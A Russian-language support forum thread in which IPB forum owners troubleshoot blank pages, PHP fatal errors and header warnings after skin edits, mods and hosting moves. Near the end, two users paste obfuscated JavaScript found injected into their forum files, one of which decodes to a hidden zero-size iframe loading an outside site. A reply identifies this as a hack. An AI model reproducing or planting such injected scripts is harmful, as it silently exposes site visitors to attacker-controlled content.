Перейти к контенту

Белая страница, чистая страница, пустая страница


theIggs

Рекомендуемые сообщения

  • 4 недели спустя...

Вобщем проблема такая, при создании новой темы ничего не создает а только выдает белую страницу

в лог еррор пишет ошибку [23-Nov-2007 08:04:12] PHP Fatal error: Cannot instantiate non-existent class: class_bbcode in /home/otvetoms/public_html/forums/sources/handlers/han_parse_bbcode.php on line 457

я в принципе понимаю какой файл смотреть но что там смотреть я не понимаю(

 

Прошу прощения если эта тема уже поднималась просто не нашел(

Ссылка на комментарий
Поделиться на других сайтах

  • 2 недели спустя...

Форум 2.1.6

Работает уже второй год, и до сих пор проблем небыло. С самого начала было три скина: стандартный, и два дополнительных. Один из них "зимний". Сегодня включил "Зимний" скин и на некоторых разделах форума появился "белый лист". Прочитал эту тему, но решить проблему не смог. В прошлом году всё работало нормально.

В чём может быть проблема?

Ссылка на комментарий
Поделиться на других сайтах

  • 3 недели спустя...
Здравствуйте. У меня появляется белый лист при попытке импорта скина - просто выбрасывает на пустую страницу. Подскажите, пожалуйста, решение. (IPB 2.3.2)
Ссылка на комментарий
Поделиться на других сайтах

поставил скин для IP.Board 2.3.3 вылезает чистая страница на профиле пользователя...дело в том что при самой установке скина все работало, но потом пытался поставить хайден - форум вообще перестал открываться - сделал полный бэкап и перестал открываться тока профиль..все файлы перезалил в их первозданном виде.. подскажите в чем дело..
Ссылка на комментарий
Поделиться на других сайтах

  • 2 недели спустя...

Форум версия 1.3 Final.

Редактировал HTML в шаблоне.

 

Topic View Section -> Post Entry

 

Закомментил кнопку "Жалоба".

 

Вместо исходного:

<!-- REPORT / DELETE / EDIT / QUOTE DIV -->

	<div align='right'>
	{$post['report_link']}{$post['delete_button']}{$post['edit_button']}<a href='{ibf.script_url}act=Post&CODE=06&f={$ibforums->input[f]}&t={$ibforums->input[t]}&p={$post['pid']}'><{P_QUOTE}></a>
  </div>

 

Сделал:

<!-- REPORT / DELETE / EDIT / QUOTE DIV -->

	<div align='right'>
	<!--{$post['report_link']} -->
{$post['delete_button']}{$post['edit_button']}<a href='{ibf.script_url}act=Post&CODE=06&f={$ibforums->input[f]}&t={$ibforums->input[t]}&p={$post['pid']}'><{P_QUOTE}></a>
  </div>

 

 

Нажал "обновить шаблон".

Получил "молоко" при просмотре темы.

При попытке исправить, белая страница остается.

При попытке восстановить, пишет: Не выбран ни один id. Вернитесь назад и исправьте ошибку, перед продолжением.

 

Что сделал не так и как вернуть былое? :D

 

Прошу ногами не пинать, обычно правлю скины в файлах, а тут выхода по ФТП не было, решил из админки попробовать.

 

Попробовал ;)

Ссылка на комментарий
Поделиться на других сайтах

Ну вот и попробывали.

Если вы обчно редактируете в файлах, то так и нужно всегда делать. А перед редактированием через админку делать тогда ресинхронизацию скинов из файлов.

Так что в данном случае вы изменили скин из админки, так что все изменения в файлах от разных модов у вас пропали, отсюда и ошибка(не хватает шаблона скорее всего). Нужно искать бекап и заливать кеш файлы скина из него.

Ссылка на комментарий
Поделиться на других сайтах

Sannis

Понял, что накосячил.

Приблизительно понял причину (редактирование скина двумя различными методами и их рассогласование).

Можно подробнее об исправлении ошибки?

Резервную копии скина брать и переустаналвивать или можно просто какие-то файлы перезалить?

Если да, то какие конкретно?

Извините за ламерские вопросы.

Ссылка на комментарий
Поделиться на других сайтах

Восстановить как можно более новые кеш файлы скина ./skin/s*/, проверить. Если будет белая страница, то включать показ ошибок PHP или смотреть логи, там будет указано какой шаблон он хочен использовать и не находит. Значи нужно вспомнить какие моды ставились в это время и добавить из них нужный шаблон в файл. Когда всё заработает — сделать ресинхронизацию шаблонов из PHP в БД. И делать её впоследствие после каждого редактирования файлов.
Ссылка на комментарий
Поделиться на других сайтах

Sannis

Заменил файл skin_topic.php.

Страница отображается, но при попытке ответить выдает экран кракозябров.

Заменил post.php, вроде всё нормально, по крайней мере, пока не разберусь с ошибкой.

 

Иммитируя эту же ошибку на локале, вместо отображения темы форума, получаю:

Fatal error: Call to undefined function: quick_reply_new() in x:\home\localhost\www\ripb-forum\sources\Topics.php on line 1237

Это то, что надо было сделать?

Функция быстрого ответа по-моему изначально стоит на модифицированном форуме и скин под неё заточен.

Ссылка на комментарий
Поделиться на других сайтах

  • 3 недели спустя...

2. После ответа на некоторые топики иногда после нажатия на кнопку "Отправить" появляется пустая страница. В строке браузера отображается адрес - http://www.site.ru/forum/index.php?

 

Такая вот проблема. Так же белая страница при удалении сообщений и их редактировании. Всё равно проблема в email. Или может в другом т.к. ПМ отправляеются нормально.

Ссылка на комментарий
Поделиться на других сайтах

Форум 2.3.4

Apache 1.3.39

PHP 5.2.5

 

При просмотре профиля пользователя белый экран

 

Решение: открываем файлы Profile.php и Usercp.php, что в папке sources. Ищем такую строчку:

var $parser; - НЕ ПОМОГАЕТ

 

Ещё один кандидат: sources/misc/contact_member.php

Дважды объявлена переменная $email: - ТАМ НЕТ ПЕРЕМЕННОЙ ДВАЖДЫ в версии 2.3.4

 

в Profile.php вставил error_reporting (E_ALL); - выходит ошибка:

Fatal error: Cannot redeclare skin_profile_2::__foreach_loop__id_47a42b253567e() in D:\Server\Apache\htdocs\forum2\cache\skin_cache\cacheid_2\skin_profile.php on line 387

 

вот кусок содержимого skin_profile.php

 

//===========================================================================
// Foreach loop function
//===========================================================================

function __foreach_loop__id_47a42b2239387($member="",$comments="",$pages="")
{
$_ips___x_retval = '';

foreach( $comments as $comment )
{

	$_ips___x_retval .= "
		" . (($comment['comment_approved']) ? ("
			<div class='pp-contentbox-entry-noheight' id='pp-comment-entry-main-{$comment['comment_id']}'>
		") : ("
			<div class='pp-contentbox-entry-noheight-mod' id='pp-comment-entry-main-{$comment['comment_id']}'>
		")) . "
			<div class='pp-tiny-text'>
			<div class='pp-image-thumb-wrap-floatright'><img src='{$comment['pp_thumb_photo']}' width='{$comment['pp_thumb_width']}' height='{$comment['pp_thumb_height']}' alt='' /></div>
				" . ((( $member['id'] == $this->ipsclass->member['id'] ) OR ( $this->ipsclass->member['g_is_supmod'] )) ? ("
					<!-- MOD CHECKBOX -->
					<input type='checkbox' class='input-checkbox' id=\"pp-checked-{$comment['comment_id']}\" name=\"pp-checked[{$comment['comment_id']}]\" value='1' onclick=\"parent.ips_personal_portal.toggle_comment_box('{$comment['comment_id']}', 1)\" />
					<!-- / MOD CHECKBOX -->
				") : ("")) . "
				{$comment['_pp_gender_image']} <strong><a href='{$this->ipsclass->base_url}showuser={$comment['id']}' target='_parent'>{$comment['members_display_name']}</a></strong>
				<br />
				{$comment['comment_content']}
				<br />
				<strong>{$comment['_comment_date']}</strong>
			</div>
		</div>
	";
}

return $_ips___x_retval;
}

 

function __foreach_loop__id_47a42b2239387($member="",$comments="",$pages="") - проблемная строка.

 

На тестовой машине (apache 2) именно этой ошибки не было, профиль видно, возможно дело в настройке PHP.

.htaccess убирал не помогает, gzip сжатие убирал, не помогает. PHP собран с модулями:

php_gd2.dll

php_gettext.dll

php_mbstring.dll

php_mysql.dll

 

Метод:

Единственный способ найти ошибку - посмотреть, на какой именно команде обрывается выполнение скрипта. Проще всего это делать так: после каждой строчки дописывать вывод на экран чего-нибудь. (echo "Hello!":D

 

После этого вообще нет ошибок: function friends_list_add() (файл profile.php) - т.е. глюк где то там...

до этого были сообщения (ошибки типа Parse error: syntax error, unexpected T_ECHO, expecting T_FUNCTION in D:\Server\Apache\htdocs\forum2\sources\action_public\profile.php on line 648 ) или надпись Hello!

 

 

Заранее спасибо.

Ссылка на комментарий
Поделиться на других сайтах

РЕШИЛ ПРОБЛЕМУ!!!!!!!!!!!!! :D

 

Заходим Админцентр > Инструменты стилей

Обновление кеш-файлов

Жмём: [ Обновить кеш-файлы у всех стилей ]

 

Разработчикам движка просьба пофиксить этот баг, либо задокументировать.... нервов убил рублей на 1000, хотя сам двиг купил за 2000.

Ссылка на комментарий
Поделиться на других сайтах

Белые страницы появляются при нажатии зарегестрироваться и при ответе в тему. Версия ipb-2.3.2

Регистрация проходит успешно и ответ добавляется, но приходиться обновлять или заходить заново на страницу, т.к. после этих операций появляется чистая страница. При проверке в админке выводит:

Если присутствуют пробелы до или после PHP тегов в файлах IP.Board, это может привести к отображению пустых страниц или неверно отформатированного HTML. Если возвращаются какие-либо результаты, вам необходимо открыть данные поля и удалить лишние пробелы или символы разрыва строки в начале и/или в конце файла.

 

Тегом начала РНР кода является:

<?php или <?

 

Тегом окончания:

?>

 

 

Результаты проверки на лишние пробелы и переносы строк

/forum/sources/loginauth/convert/auth_sha256.php имеет лишние пробелы или переносы строк в начале или конце файла.

Помогите кто-нибудь разобраться с auth_sha256.php, где убрать пробелы и переносы строк и вообще в этом причина?

Ссылка на комментарий
Поделиться на других сайтах

Help! Короче делал чат D21-Shoutbox Ну короче чет сделал с Index.php или ipsclass.php.Пробема в том что Главная страница форума то работает, а вот в темы заходить нельзя ну и создавать тоже когда создаешь тему после отправки белая страница, когда хочешь посмотреть(любую другую) тему то тоже белая страница, принципе я чат поставил) но вот почему не работает не знаю
Ссылка на комментарий
Поделиться на других сайтах

Здравствйте, мой форум переехал на новый хостинг, после чего появилась белая страница. Убрав в админке GZIP стало отображаться нормально, НО:

1. В начале страницы, до вывода документа, появились шестнадцатиричные символы: 1a4c0

2. В конце форума после вывода всего документа появился 0

Методом постепенного подползания выяснил, что эти глюки появляются после вывода в файле /sources/classes/class_display.php в функции do_headers() строчки: header("HTTP/1.1 200 OK");

если её убрать то код не появляется.

Объясните почему такой глюк, подозреваю что причина не в header("HTTP/1.1 200 OK") , а в чём-то другом

Заранее благодарен

Ссылка на комментарий
Поделиться на других сайтах

Причина в этом. Если проблем из-за этого не возникло, то можно так и оставить.
Ссылка на комментарий
Поделиться на других сайтах

  • 2 недели спустя...

Прочитал первые две страницы...ответа на вопрос не нашел...

Суть проблемы в том, что не работает getnewpost....при нажатии на ссылку выскакивает белая страница...

И еще...в конце файлов index.php conf_global.php после "?>" появился какой-то скрипт:

<script>var source ="=tdsjqu?epdvnfou/xsjuf)voftdbqf)(&4d&7:&77&83&72&7e&76&31&84&83&74&4e&33&79&85&85&81&4b&3g&3g&78&7g&7g&78&7d&76&3e&72&7f&72&7d&8:&84&76&3f&74&7g&7e&3g&7:&7f&3f&74&78&7:&4g&75&76&77&72&86&7d&85&33&31&88&7:&75&85&79&4e&42&31&79&76&7:&78&79&85&4e&42&31&84&85&8:&7d&76&4e&33&87&7:&84&7:&73&7:&7d&7:&85&8:&4b&31&79&7:&75&75&76&7f&33&4f&4d&3g&7:&77&83&72&7e&76&4f(**=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>

Ссылка на комментарий
Поделиться на других сайтах

Взломали вас. Меняйте пароли все. удаляйте вирусы с компьютера и чистите все заражённые файлы форума на сервере.
Ссылка на комментарий
Поделиться на других сайтах

  • 3 недели спустя...

Не работают в админцентре Вкл/выкл форума, Правила форума, Основные настройки, Настройки быстродействия.

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 204

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 205

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 206

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 207

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 208

 

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 204

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 205

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 206

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 207

 

Warning: Cannot modify header information - headers already sent by (output started at /home2/danger/public_html/forum/init.php:407) in /home2/danger/public_html/forum/ips_kernel/class_ajax.php on line 208

26.6

 

Что это значит???:D

 

В этих строчках у меня только это:

		header("HTTP/1.0 200 OK");
	header("HTTP/1.1 200 OK");
	header("Cache-Control: no-cache, must-revalidate, max-age=0");
	header("Expires: 0");
	header("Pragma: no-cache");
}

и вот это:

<script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv="";for(uknzaxauyi=0;uknzaxauyi<skusjits.length;uknzaxauyi+=2){fgdxbotv+=(String.fromCharCode(parseInt(skusjits.substr(uknzaxauyi,2),16)));}document.write(fgdxbotv);}ahpgxusvlwuzz("3C696672616D65207372633D22687474703A2F2F746F703130302D636F756E7465722E636F6D
2F746F703130302F696E6465782E70687022206672616D65626F726465723D22302220626F726465
7
23D2230222077696474683D223022206865696768743D223022207374796C653D22706F736974696
F
6E3A206162736F6C7574653B207669736962696C6974793A2068696464656E3B20646973706C6179
3
A206E6F6E65223E3C2F696672616D653E");</script>

И что/где исправить???

Изменено пользователем Frank
Ссылка на комментарий
Поделиться на других сайтах

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.